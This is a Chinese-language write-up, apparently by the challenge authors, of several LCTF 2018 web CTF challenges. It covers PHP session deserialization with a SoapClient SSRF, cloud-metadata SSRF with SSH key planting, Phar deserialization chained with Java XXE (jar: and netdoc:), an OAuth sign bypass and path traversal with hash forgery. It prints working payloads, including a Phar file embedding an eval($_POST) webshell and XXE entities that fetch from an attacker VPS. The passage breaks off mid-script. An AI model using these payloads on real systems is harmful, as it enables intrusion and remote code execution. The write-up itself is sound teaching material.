Web
bestphp's revenge [15 solved]
代码如下
index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>
flag.php
session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; }
hint: 反序列化
这题是我出给XCTF Final的bestphp的第二版,搭建看到flag.php的内容也能猜出来是ssrf。大体思路也是session_start支持一个数组参数,可以覆盖php.ini中的部分session相关变量,而session中有个叫做serialize_handler的参数
可以控制session的解析引擎,所以可以借用由解析引擎的不同导致的session反序列化,构造soap类ssrf,获取flag
但是这里有个问题就是如何进行ssrf构造,众所周知soap的ssrf需要调用_call方法,但是这里如何触发呢,我们回到call_user_func
这里可以发现我们可以直接使用call_user_func执行对象中的方法,由于我们只需要构造出一个soap类的对象就可以执行welcome_to_the_lctf2018
的方法,因为这个方法不存在,所以我们相当于调用了_call方法
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
'user_agent' => "AAA:BBB\r\n" .
"Cookie:PHPSESSID=dde63k4h9t7c9dfl79np27e912",
'uri' => "http://127.0.0.1/"));
$se = serialize($b);
echo urlencode($se);
这里主要思路是通过php session引擎的不同,导致自动反序列化soap内置类,最终ssrf读到flag
Travel [4 solved]
这道题目的思路来源于两篇有趣的渗透报告:
AWS takeover through SSRF in JavaScript
An interesting Google vulnerability that got me 3133.7 reward.
第一篇渗透报告里作者通过SSRF请求AWS的Cloud Instances
获得了大量敏感信息,所以好奇的我也查了一下国内的云服务商有没有这样的接口,发现其实都是有的:
这样我们就可以通过一些仅支持http/https的SSRF获得服务器的一些敏感信息,这也是我这道题目的第一个考点。我们可以通过请求http://metadata.tencentyun.com/latest/meta-data/mac
获得服务器的mac地址,转换为十进制后就是uuid.getnode()
的值。
获得了mac地址后我们按照代码里写的用PUT
请求向upload/
路由发请求,会发现返回405:
换成GET试试:
同样是405,但是我hint也也提示了留意差异性,其实说的就是这里。我们可以注意到两个405返回的页面是不同的,仔细看可以发现第一个405是nginx返回的,第二个405是flask返回的,也就是说我们的PUT请求实际上是在代理中被拦截了,没有实际发到后端。我们翻翻flask文档可以发现这个问题是可以解决的:
所以我们只要添加X-HTTP-Method-Override: PUT
在GET或者POST的请求头中就可以向后端发送一个PUT请求
此时加上cookie就可以向服务器上写入文件了,注意到代码里
这里会把filename再次url解码,所以我们可以把文件名二次编码,这样就可以跨目录写入文件。
获得任意文件写之后getshell一般有三种:
写Webshell。但因为这道题是python web所以无效。
写crontab。但这道题给的权限不够。
写ssh公钥到
~/.ssh/authorized_keys
。这道题其实就是用这个思路,而且我还很贴心的提示大家用户名是lctf免得大家还需要猜测一下
所以最后写自己的ssh公钥到/home/lctf/.ssh/authorized_keys
即可:
T4lk 1s ch34p,sh0w m3 the sh31l [11 solved] && sh0w m3 the sh31l 4ga1n [3 solved]
0X00 两道题两个非预期
本来就出了这一道题,PHP 代码是用 orange 的改的,我本想设计一个不可上传,但是路径可知的目录,然后利用 java 的 xxe 实现文件上传,再利用 move 移动到那个已知的路径,通过反序列化临时文件来触发已知路径中的文件包含 getshell,但是由于我自己对orange 代码中沙盒的理解的不到位,导致了这道题彻底的非预期,后来我干脆删除了 java 的部分,因为师傅们发现 data 目录其实在 cookie 中能得到,而我在反序列化的时候也没有限制 data 目录的反序列化,并且上传的文件可控,那这样就直接能 getshell, 第二题虽然我限制了不能反序列化 data 目录下面的文件,但是由于我自己写 read_secret 时候的失误导致了另一个非预期,read_secret 本来应该是一个 shell 脚本,但我写成了一个字符串,返回值是 Null ,所以 cookie 中的 hmac 签名不攻自破,路径也就可以伪造,然后利用这种方法 getshell ,但是实际上这个两个题的代码就差了过滤 data 和 .. 的正则,还有一点像吐槽的就是我那个评论框真的是因为人性化做的不好,似乎人们都觉得那个是假的似的,那我下面的主要分析就按照我一开始的想法分析了,代码主要参考的是sh0w m3 the sh31l 4ga1n 这道题。
0X01 说一下想要考察的点
LCTF2018 我出的这道题主要考察了两个知识点,一个就是当前最最最最,最火的 Phar 反序列化,另一个就是前一段时间比较众人皆知的 java 的 XXE 漏洞,毕竟微信的洞谁能不知道呢?虽然是大家比较熟悉的洞,但是我依然进行了比较深入的挖掘,考察的是比较容易被忽视的点,当然为了将这个两个点结合起来我也是花了非常大的功夫(如果说有脑洞其实我是不承认的,我承认的是由于将两者结合起来,利用的过程的确非常复杂),那么接下来就让我好好的分析一下这道题,看看它能给我们带来什么样的头脑风暴
0X02 题目概览
1.题目描述如图所示:
hh,这一部分的动态前端就是为了活跃气氛的(其实为了动态也写了我挺长时间),当然也有一点提示,就是说下面有一个评论框可以写,说明这个东西是题目中的关键要素。点击标题就能看到正式的题目了
2.题目代码如下:
<?php
$SECRET = `../read_secret`;
$SANDBOX = "../data/" . md5($SECRET. $_SERVER["REMOTE_ADDR"]);
$FILEBOX = "../file/" . md5("K0rz3n". $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@mkdir($FILEBOX);
if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("md5", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}
class K0rz3n_secret_flag {
protected $file_path;
function __destruct(){
if(preg_match('/(log|etc|session|proc|read_secret|history|class|data|\.\.)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
include_once($this->file_path);
}
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)){
die("Bye");
}
if ( !hash_equals(hash_hmac("md5", $data, $SECRET), $hmac) ){
die("Bye Bye");
}
$data = unserialize($data);
if ( !isset($data->avatar) ){
die("Bye Bye Bye");
}
return $data->avatar;
}
function upload($path) {
if(isset($_GET['url'])){
if(preg_match('/^(http|https).*/i', $_GET['url'])){
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a"){
die("Fuck off");
}
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}else{
die("Hacker");
}
}else{
die("Miss the URL~~");
}
}
function show($path) {
if ( !is_dir($path) || !file_exists($path . "/avatar.gif")) {
$path = "/var/www";
}
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}
function check($path){
if(isset($_GET['c'])){
if(preg_match('/^(ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_GET['c'])){
die("Hacker Hacker Hacker");
}else{
$file_path = $_GET['c'];
list($width, $height, $type) = @getimagesize($file_path);
die("Width is :" . $width." px<br>" .
"Height is :" . $height." px<br>");
}
}else{
list($width, $height, $type) = @getimagesize($path."/avatar.gif");
die("Width is :" . $width." px<br>" .
"Height is :" . $height." px<br>");
}
}
function move($source_path,$dest_name){
global $FILEBOX;
$dest_path = $FILEBOX . "/" . $dest_name;
if(preg_match('/(log|etc|session|proc|root|secret|www|history|file|\.\.|ftp|php|phar|zlib|data|glob|ssh2|rar|ogg|expect|http|https)/i',$source_path)){
die("Hacker Hacker Hacker");
}else{
if(copy($source_path,$dest_path)){
die("Successful copy");
}else{
die("Copy failed");
}
}
}
$mode = $_GET["m"];
if ($mode == "upload"){
upload(check_session());
}
else if ($mode == "show"){
show(check_session());
}
else if ($mode == "check"){
check(check_session());
}
else if($mode == "move"){
move($_GET['source'],$_GET['dest']);
}
else{
highlight_file(__FILE__);
}
include("./comments.html");
有没有觉得似曾相识?没错这一部分是改编自 hitcon 2017 Orange 的 Phar 反序列化(当然我的出题的目的也是考察 Phar 的反序列化),简单的浏览一下代码,对比之前 Orange 的原题,我们发现这里做出了比较大的改动有三处,
改动一:
我改变了 getflag 的方式,看类名就知道,我这里很明确地要求你反序列化的是下面这个类的对象
class K0rz3n_secret_flag {
protected $file_path;
function __destruct(){
if(preg_match('/(log|etc|session|proc|read_secret|history|class|data|\.\.)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
include_once($this->file_path);
}
}
也就是说,我们只要构造好这个对象的属性让他的值为我们可以控制的文件,对其进行反序列化的时候我们能成功实现文件包含然后 getshell(题目已经说了是要 getshell 这里就不用考虑去包含 flag 文件了)
改动二:
我在原先的 upload 方法中添加了 协议的过滤
function upload($path) {
if(isset($_GET['url'])){
if(preg_match('/^(http|https).*/i', $_GET['url'])){
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a"){
die("Fuck off");
}
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}else{
die("Hacker");
}
}else{
die("Miss the URL~~");
}
}
可以看到我只允许你使用 https 或者 http 协议进行文件的上传,我将原来能反序列化的点抹去了,很明显我的意思是不能再使用这个 file_get_contents 进行反序列化
改动三:
我新增了两个有意思的方法,check 和 move ,很明显,这两个方法是有问题的,利用点也肯定在这里
####### 1.check
check 的作用就是根据你提供的 URL 地址给出图片的大小,这里很明显是一个可控制点,能让我们输入自定义的路径(非常像 Orange 题目中的反序列化的点),但是这个函数没有文件上传的功能,并且对传入的参数进行了一些过滤,把 phar:// 开头的直接 Ban 了,也就是我要求你要用另外的反序列化的方式,这种方式不能使用 phar:// 开头,我这里打算使用的是 compress.zlib://phar://xxxx 这种方式。
function check($path){
if(isset($_GET['c'])){
if(preg_match('/^(ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_GET['c'])){
die("Hacker Hacker Hacker");
}else{
$file_path = $_GET['c'];
list($width, $height, $type) = @getimagesize($file_path);
die("Width is :" . $width." px<br>" .
"Height is :" . $height." px<br>");
}
}else{
list($width, $height, $type) = @getimagesize($path."/avatar.gif");
die("Width is :" . $width." px<br>" .
"Height is :" . $height." px<br>");
}
}
而且 我这里的利用的函数也不再是之前的简单的 file_get_contents 或者 is_file 再或者 is_dir 之类的,通过阅读zsx 大佬的博客,以及自己对 PHP 源码的分析,我最终选择了 getimagesize() 这个函数去代替 file_get_contents 进行反序列化。
####### 2.move
这个函数就更可疑了,他能把一个确定的文件通过 copy 转移到我们自己的一个已知的目录下(我这里设计了两个目录,data 和 file 并且 data 目录下面的子目录我们是不知道目录的,但是 file 下面的目录名 我们却能知道),并且能自定义文件名,看到这里应该能联想到我们获取 flag 的方式就是文件包含,我们这里希望你能将你控制的文件通过这个函数弄到 file 目录下的你已知的自己的目录,并最终对其进行文件包含来达到 getshell 的目的。
function move($source_path,$dest_name){
global $FILEBOX;
$dest_path = $FILEBOX . "/" . $dest_name;
if(preg_match('/(log|etc|session|proc|root|secret|www|history|file|\.\.|ftp|php|phar|zlib|data|glob|ssh2|rar|ogg|expect|http|https)/i',$source_path)){
die("Hacker Hacker Hacker");
}else{
if(copy($source_path,$dest_path)){
die("Successful copy");
}else{
die("Copy failed");
}
}
}
3.发现的问题:
按照上面的思路对代码进行简单的分析以后,似乎我们已经找到了大致的解决问题的途径,但是问题依然存在,我们需要一个文件上传点才能串起来我们的利用链,我们来列举一下目前已知的上传点。
(1) upload 函数上传的文件我们不知道路径,因为路径被 secret 加密了,这个上传点被 Pass ,我们无法利用
(2) 因为代码本身的 check 需要用到 allow_url_fopen 打开,于是 move 函数也就成了一个隐藏的文件上传点,但是能不能用呢?因为这里我过滤了常见的 wapper 和 http Https 协议,想从外界复制文件应该也是不可行的。
(3)别忘了我们的评论框
0X03 深入研究
对评论框的详细分析
这个评论框是做什么的呢?其实到这里为止题目才刚刚开始,利用这个评论框进行文件的上传是这道题我要考察的重点,也是我个人认为这道题最难的地方,我们先来抓包看一下。
如图所示:
我们看到评论框输入的内容被转化成了 json 格式发往了相同服务器的一个 API ,端口是 8080 ,8080 是 tomcat 的默认端口,熟悉的同学应该猜的出来,这是我用 java 写的一个 api 接口,根据你输入的请求得到 json 格式的返回结果,很多人第一反应肯定是 xss 之类的,所以这里我对输入做了过滤
如图所示:
我直接把尖括号过滤了,当然还有一些常见的符合 xml 的内容,其实就是传达这里不能输入不规范的内容
如图所示:
如果你熟悉 XEE 的 实战,知道在现实中 XXE 一般出现在调用 API 的接口、传递 json 等地的话,你就会立刻反应过来这里的 json 接口完全有可能去解析客户端发来的 XML 数据,没错,为了模拟这种情况我就是用 Java 写了这样一个能解析 json 还能解析 XML 的接口,只要我们将传递过去的 content-type 修改成 application/xml 就可以了,我们可以传一个 xml 格式的数据过去看看
如图所示:
可以看到我们传入的内容被成功解析并在 json 中完整的返回,只要能解析外部实体这其实就是一个很明显的 XXE 了,只不过是 Java 的而已,我们尝试传入实体,看卡有没有被过滤(过滤了 & 就只能 OOB了)
如图所示:
成功解析,好了,是不是感觉柳暗花明,XXE 漏洞最基本的是干什么?列目录,正好我们试一下解析外部实体
如图所示:
你的内心一定是 mmp 的,其实我就知道你会用 file 列目录,想给你一个打击,于是特地把 file 过滤了,看一下我的源码
如图所示:
由于图片显示不完整,我贴出代码:
public String XmlRe(@RequestBody String data, HttpServletRequest request) throws Exception {
if(Pattern.matches("(?i)(.|\\s)*(file|ftp|gopher|CDATA|read_secret|logs|log|conf|etc|session|proc|root|history|\\.\\.|data|class|bash|viminfo)(.|\\s)*",data)){
return "{\"status\":\"Error\",\"message\":\"Hacker! Hacker! Hacker!\"}";
}else{
Map<String,String> test = xmlToMap(data);
return "{\"status\":\"Error\",\"message\":\""+ test +"\"}";
}
}
其实我不只是过滤了 file 协议,我们知道低版本的jdk 支持 gopher 协议,我防止思路跑偏直接过滤了,还有就是有些时候想看一写带有特殊字符的文件的话可能会用到 CDATA 结,为了能尽量少的暴露敏感文件我也过滤了,毕竟题目不是要你读文件用的。但是如果你看一下文档的话,就能发现, java 还支持一个 netdoc 协议,能完成列目录的功能。
如图所示:
很多人肯定去忙着找 flag ,其实我 flag 没有写在文件里,找到 flag 的唯一方式就是拿到 shell 然后执行全局搜索。
别忘了现在的当务之急就是找文件上传点,这里我考察的是一个比较少见也比较细节的东西,java 的 jar:// 协议,通过这个协议我们能向远程服务器去请求文件(没错是一个远程的文件,这相比于 php 的 phar 只能请求本地文件来说要强大的多),并且在传输过程中会生成一个临时文件在某个临时目录中,好了分析到这里又有一些问题了
发现的问题:
(1)如果我们能通过 jar 协议在题目 服务器生成一个临时文件,那我们就能利用其进行包含,但是似乎我们不知道文件路径更没法预测文件名
(2)我们的包含是要通过反序列化实现的,也就是说我们如果想要包含临时文件,那么我们必须要在 payload 文件中写好临时文件名,但是 payload 是在生成临时文件以前生成的(或者说 payload 就是那个临时文件),于是这里就形成了一个死循环
(3)临时文件很快就会消失,但是我们的反序列化一以及后面的操纵非常的复杂,甚至没法直接通过脚本实现,那么在没法条件竞争的情况下如何延长文件的传输时间
问题解决
####### 问题一:
想知道文件名和文件路径,很简单我们只要知道文件路径然后利用我们的 netdoc 去列目录就能知道文件名了,那么路径怎么知道,这里有两种方法
方法一:
先列一下目录,大概判断一下环境,本地搭一个相似的环境去测试,找到临时文件的路径,但我想这个方法没人用,代价太大了。
方法二:
其实你在测试过程中应该能发现报错信息没有屏蔽,我们可以通过报错拿到我们的文件路径,但是如何报错?这其实还是一个问题,因为 Jar 协议本身有一个解包的过程,如果你请求的文件包里面没有那么就会报错,获取这个包的临时文件的位置(下图的 jar.zip 就是一个单纯的压缩包文件,如果是 Phar 文件是不会成功的,jar 不能解析 phar 格式的文件)
如图所示:
####### 问题二:
我们已经清楚,生成的临时文件就是我们的 payload ,我们要通过这个 payload 完成反序列化和文件包含两个功能,但是他自己是 无法在上传之前知道自己的文件名的,没有确定的路径和文件名就没法包含,于是之前对 move 函数的分析就映入脑海,我们似乎能利用这个 move 函数将这个临时文件搬移到我们已知的路径,这其实也是我设计这个函数的目的
####### 问题三:
这个问题也是一个非常关键的点,也是这道题的难点中的难点,既然不能条件竞争,我们该怎么办,实际上我们可以通过自己写服务器端的方法完成这个功能,因为文件本身就在自己的服务器上,我想让他怎么传不是完全听我的?于是我写了一个简单的 TCP 服务器,这个服务器的特点就是在传输到文件的最后一个字节的时候突然暂停传输,我使用的是 sleep() 方法,这样就延长了时间,而且是任意时间的延长,但是实际上这厉害牵扯出一个问题,就是我们这样做文件实际上是不完整的,所以我们需要精心构造一个 payload 文件,这个文件的特点就是我在最后一个字节的后面又添加了一个垃圾字节,这样实际上在暂停过程中文件已经传输完毕了,只是服务器认为没有成功传输而已
代码如下:
import sys
import time
import threading
import socketserver
from urllib.parse import quote
import http.client as httpc
listen_host = 'localhost'
listen_port = 9999
jar_file = sys.argv[1]
class JarRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
http_req = b''
print('New connection:',self.client_address)
while b'\r\n\r\n' not in http_req:
try:
http_req += self.request.recv(4096)
print('\r\nClient req:\r\n',http_req.decode())
jf = open(jar_file, 'rb')
contents = jf.read()
headers = ('''HTTP/1.0 200 OK\r\n'''
'''Content-Type: application/java-archive\r\n\r\n''')
self.request.sendall(headers.encode('ascii'))
self.request.sendall(contents[:-1])
time.sleep(300)
print(30)
self.request.sendall(contents[-1:])
except Exception as e:
print ("get error at:"+str(e))
if __name__ == '__main__':
jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler)
print ('waiting for connection...')
server_thread = threading.Thread(target=jarserver.serve_forever)
server_thread.daemon = True
server_thread.start()
server_thread.join()
到此为止,我对整道题的难点分析就结束了,下面就是大致的解题过程
0X04 解题过程
1.查看自己的 remote_addr 结合 K0rz3n 字符串生成md5
示例代码:
<?php
echo md5("K0rz3n".$_SERVER['REMOTE_ADDR']);
结果:
4253b1c836a25962c1547f7e46f373f1
这个就是我们会在 file 文件夹中生成的文件夹,我们会把我们的 payload 转移到这个文件夹下重命名然后进行包含
2.生成反序列化 payload 文件
payload 代码:
<?php
class K0rz3n_secret_flag {
protected $file_path;
function __construct(){
$this->file_path = "phar:///var/www/file/4253b1c836a25962c1547f7e46f373f1/jar.zip/test.txt";//这是文件包含的payload
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀必须是 phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new K0rz3n_secret_flag();//我们将对象在这里创建
$phar->setMetadata($o); //将对象在这里序列化
$phar->addFromString("test.txt", '<?php eval($_POST["cmd"])?>'); //我们文件包含的时候会触发 getshell
$phar->stopBuffering();
?>
运行这段代码以后我们就能获取到一个 phar.phar 文件,然后我们根据自己习惯改名后还要在文件末尾添加一个垃圾字节
如图所示:
3.判断临时文件目录
我们先随意打包一个压缩包(假设里面是一个xxe.php)上传到自己的服务器上,然后启动我们的自定义的服务器脚本,监听服务器的 9999 端口,然后本地利用 XXE 去请求这个文件,请求的时候我们要故意写一个不存在文件,比如 1.php
如图所示:
我们服务器已经接收到了我们 XXE 发出的请求,然后后面的报错就和上面分析的一样,这里就不在赘述
4.通过列目录确定我们的payload文件名
我们将 server.py 这个服务器脚本的 sleep() 时间调的稍微长一些,比如调整为 600 s ,然后将我们的 payload 文件传上去,通过 XXE 请求这个文件,这时候临时文件生成,然后我们再通过 XXE 列目录得到临时文件名
请求 payload:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "jar:http://yourvps:9999/jarn.zip!/test.txt" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
得到临时文件名
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "netdoc:///usr/local/tomcat/temp/" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
如图所示:
5.调用 Move 函数实现文件的拷贝
如图所示:
示例代码:
http://212.64.7.171/LCTF.php?
m=move
&source=/usr/local/tomcat/temp/jar_cachexxxxxxxxxxxx.tmp
&dest=jar.zip
这个时候我们的 payload 已经在我们可控的目录中了,并且被我们重名名为了 jar.zip ,这个我们在 payload 文件中写的是一致的
6.调用 check 函数实现反序列化 getshell
我们先在浏览器看一下:
如图所示:
示例代码:
http://212.64.7.171/LCTF.php?m=check&c=compress.zlib://phar:///usr/local/tomcat/temp/jar_cachexxxxxxxxxxxxxxxxxx.tmp
没啥反应,其实我们放到菜刀里就有反映了
如图所示:
这里还要注意一点,我们在创建 shell 的时候还要注意我们必须带上 cookie: 要不然会被 php 本身的逻辑给 die 掉
如图所示:
7.找 flag
我说过 flag 没有在什么文件里,为了防止 XXE 该翻到,于是只能通过 grep 全局搜索,如果全局不行的话,就一个一个文件夹的全局,可能这个 shell 没法支持这么大的搜索量
如图所示:
0X05 总结
出这道题之前其实找了很久的思路,发现自己对知识的理解还是非常的肤浅,也学会了有时候看文档才是最好的学习方法,写这道题也用了很久,请教了非常多的大师傅,就在这里统一感谢一下,特别是 Java 的部分,因为写 Java 写的不多 ,想要实现一个自己脑袋里面的想法真的很难,甚至都把微信 XXE 的漏洞部分代码进行了巧妙的移植,不过我还是克服重重困难实现了功能,不管这道题出的好坏与否,脑洞与否,我都是出于技术交流与分享的目的,希望能将自己学到的东西以题目的形式展现给大家,没有任何的经济成分,这或许也是 CTF 一开始的目的吧,但是现在似乎已经不是这样了,总之做技术还是保持本心吧,还是那句话:"你的知识面,决定着你的攻击面"。
EZ_OAuth [3 solved]
题目描述:
OAuth?都是假的。 1000 分点击就送: https://lctf.1slb.net/hint1: 不同接口可能实现类似
hint2: accounts 换成 blog ,里面有一些提示
利⽤ OAuth
认证登录的系统,所采⽤的第三⽅为 TYPCN Accounts 。题⽬应⽤从
TYPCN Accounts
获取⽤户的邮箱信息。
我们随便注册一个账户登录,发现题目返回错误页:
意思是账户邮箱在 pwnhub.cn
这个域下才可以使⽤正常功能。
由于不可能拿到这个域名的控制权,我们大胆猜测可能这里存在账户邮箱匹配不严谨的问题。我们假设系统只是匹配账户邮箱内存在 @pwnhub.cn
这个字符串,因此我们在自己的域名下添加一个 pwnhub.cn.domain
的 MX
记录,指向一个邮箱服务,或我们自己搭建的邮件服务器来接收验证邮件。成功注册账号:
同时成功进入系统。
后台发现有个两个接口,分别是 /user/check
和 /admin/auth
。后者没参数,前者的参数分别为 domain
和 email
,且 domain
为隐藏参数。
猜测其为验证服务器,将其改为自己的服务器,得知服务器发送数据;再本地模拟一下,得知服务器返回信息。发现这里有个极度麻烦的sign签名验证,经过测试,其至少和 request-id
和 email
存在关联。因此,我们很难修改回包。因为没有任何可控数据,也无法进行哈希长度扩展攻击。另外,我们发现 /admin/auth
也有一个隐藏的 domain
参数,其除了请求API以外,发送的数据和接受的数据与 /user/check
相同。
既然签名算法无法逆向,那只能进行大胆猜测了。
猜测一
常规思路,既然这道题是 lumen 框架的,而且接口返回是 JSON 格式,我们可以大胆猜测系统对返回的 sign
参数的判断存在弱类型问题。
因此我们直接给请求返回响应 {code:200,result:true,sign:true}
,发现果然可以,顺利拿到 flag 。
猜测二
奇葩思路,我们不知道 result
参数是否有在被 sign
算法涵盖的范围之内,如果它没有呢?
我们搭建一个 MITM 环境,将 /admin/auth
返回值中的 result
改为 true
其他参数不动,返回给服务器,顺利拿到 flag 。
L playground2 [6 solved]
首先访问网页,可以看到界面,hello user和一个超链接。
点击打开新世界大门会打开一个新网页,可以看到一部分源码如下。
import re
import os
http_schema = re.compile(r"https?")
url_parser = re.compile(r"(\w+)://([\w\-@\.:]+)/?([\w/_\-@&\?\.=%()]+)?(#[\w\-@&_\?()/%]+)?")
base_dir = os.path.dirname(os.path.abspath(__file__))
sandbox_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "sandbox")
def parse_file(path):
filename = os.path.join(sandbox_dir, path)
if "./" in filename or ".." in filename:
return "invalid content in url"
if not filename.startswith(base_dir):
return "url have to start with %s" % base_dir
if filename.endswith("py") or "flag" in filename:
return "invalid content in filename"
if os.path.isdir(filename):
file_list = os.listdir(filename)
return ", ".join(file_list)
elif os.path.isfile(filename):
with open(filename, "rb") as f:
content = f.read()
return content
else:
return "can't find file"
def parse(url):
fragments = url_parser.findall(url)
if len(fragments) != 1 or len(fragments[0]) != 4:
return("invalid url")
schema = fragments[0][0]
host = fragments[0][1]
path = fragments[0][2]
if http_schema.match(schema):
return "It's a valid http url"
elif schema == "file":
if host != "sandbox":
return "wrong file path"
return parse_file(path)
else:
return "unknown schema"
@app.route('/sandbox')
def render_static():
url = request.args.get("url")
try:
if url is None or url == "":
content = "no url input"
else:
content = parse(url)
resp = make_response(content)
except Exception:
resp = make_response("url error")
resp.mimetype = "text/plain"
return resp
分析代码可以看出,web接收url参数,并对其进行解析,分类出协议、主机名、路径等信息,如果协议是file时,会尝试解析文件。
关键代码在于parse_file
函数:
def parse_file(path):
filename = os.path.join(sandbox_dir, path)
if "./" in filename or ".." in filename:
return "invalid content in url"
if not filename.startswith(base_dir):
return "url have to start with %s" % base_dir
if filename.endswith("py") or "flag" in filename:
return "invalid content in filename"
if os.path.isdir(filename):
file_list = os.listdir(filename)
return ", ".join(file_list)
elif os.path.isfile(filename):
with open(filename, "rb") as f:
content = f.read()
return content
else:
return "can't find file"
首先os.path.join
函数,查看原型/xxxx/python3.7/posixpath.py
:
# Join pathnames.
# Ignore the previous parts if a part is absolute.
# Insert a '/' unless the first part is empty or already ends in '/'.
def join(a, *p):
"""Join two or more pathname components, inserting '/' as needed.
If any component is an absolute path, all previous path components
will be discarded. An empty last part will result in a path that
ends with a separator."""
a = os.fspath(a)
sep = _get_sep(a)
path = a
try:
if not p:
path[:0] + sep #23780: Ensure compatible data type even if p is null.
for b in map(os.fspath, p):
if b.startswith(sep):
path = b
elif not path or path.endswith(sep):
path += b
else:
path += sep + b
except (TypeError, AttributeError, BytesWarning):
genericpath._check_arg_types('join', a, *p)
raise
return path
可以看出,当*p
中某参数以分隔符开头时,路径会变成该参数,即对于os.path.join("/home/xxx/project", "/etc/passwd")
,结果是/etc/passwd
。
看到这里,我们可以构造任意路径了,继续看代码,下面几行是过滤条件:
if "./" in filename or ".." in filename:
return "invalid content in url"
if not filename.startswith(base_dir):
return "url have to start with %s" % base_dir
if filename.endswith("py") or "flag" in filename:
return "invalid content in filename"
首先不允许./
和..
的存在,防止跳到上层目录,之后限定了文件名一定要以base_dir
开头,而base_dir是base_dir = os.path.dirname(os.path.abspath(__file__))
,接下来呢限定文件不能以py
结尾且flag
不出现在文件名中。
之后几行代码会对文件读取,如果是目录就列出目录中文件内容,如果是文件就会返回文件内容,否则返回找不到文件。
综合以上信息,我们只能访问以当前目录的上一层开头,并且不能是python源代码文件,于是很显然我们可以利用pyc文件,再反编译成py文件,进行源代码审计。
查看当前源代码网页url:http://127.0.0.1:5000/sandbox?url=file://sandbox/1.txt&token=MKqplUet+Z8Mbed1jkwlXmbiO5Pkguhn09OVvwF/S5jZ9nJ4w0abYS5ADGreQd9mGyc/b+6oxcqeskTTgZEU+xqQ/BHAyiwWONd01jW0ONdLSyLOI/fy3sr+lIvGei5ue9wd/XqM9WawN26tpaZ372nitSp6ZONiO1VGFtgwdmoW3hHO0P5piB5IKCoqLKWS
,观察url参数为token和file。token会存在刷新问题,在首页重新打开新世界的大门得到token就可以了。
首先重新打开新世界的大门,之后将url参数内容改为:file://sandbox//1.txt
,得到base_dir
:url have to start with /xxx/project/playground
。
得到base_dir
后,我们可以拼凑出file://sandbox/
+base_dir
,得到文件列表:flag.py, session.py, __pycache__, parser.py, hash.py, utils.py, sandbox, static, templates, main.py
,之后拼凑出file://sandbox/
+base_dir
+__pycache__
得到pyc文件列表:parser.cpython-37.pyc, main.cpython-37.pyc, flag.cpython-37.pyc, hash.cpython-37.pyc, utils.cpython-37.pyc, session.cpython-37.pyc
。之后访问这些pyc文件,本地反编译出源码。
分析代码可以看出,当username为admin时,可以获得flag。
from flag import FLAG
if username == "admin":
content=escape(FLAG)
分析session机制可以看出,cookie是储存在客户端的,内容为base32编码后的用户名+hash值。
from hash import MDA
from flag import seed
def encode(info):
return str(base64.b32encode(bytes(info, 'utf-8')), 'utf-8')
def decode(info):
return str(base64.b32decode(bytes(info, 'utf-8')), 'utf-8')
def hash_encode(info):
md = MDA(seed)
return md.grouping(info)
def hash_verify(hash_info, info):
return hash_encode(info) == hash_info
def session_encode(info):
return "%s.%s" % (encode(info), hash_encode(info))
下面分析hash算法,如何伪造出admin的哈希值。
关键点在于初始化,从代码可以看出其中关键的ABCD都是由生成的随机数,但是我们并不知道seed。
def __init__(self, seed="lctf2018"):
self.seed = seed
self.init()
def init(self):
self.length = 0
self.count = [0, 0]
self.input = []
random.seed(self.seed)
self.A = random.randint(0x0cfe, 0x6b89)
self.B = random.randint(0x0cfe, 0x6b89)
self.C = random.randint(0x0cfe, 0x6b89)
self.D = random.randint(0x0cfe, 0x6b89)
之后是被session.py调用的关键函数,可以看到输入分为单个字母,之后将每个字母的哈希值合并起来输出,而每次获取字母哈希值时都会进行初始化,而初始化时都是使用同一个seed进行初始化,即对于hash(ab)=hash(a)+hash(b)
,因此虽然我们不知道seed,但是通过多次访问首页得到不同user的哈希值,我们可以拼凑出admin的哈希值。
def insert(self, inBuf):
self.init()
self.update(inBuf)
def grouping(self, inBufGroup):
hexdigest_group = ""
for inBuf in inBufGroup:
self.insert(inBuf)
hexdigest_group += self.hexdigest()
return hexdigest_group
脚本代码:
import requests
import base64
url = "http://127.0.0.1:5000"
dic = {
"a": None,
"d": None,
"m": None,
"i": None,
"n": None,
}
def check_hash():
global dic
for key in dic.keys():
if dic[key] is None:
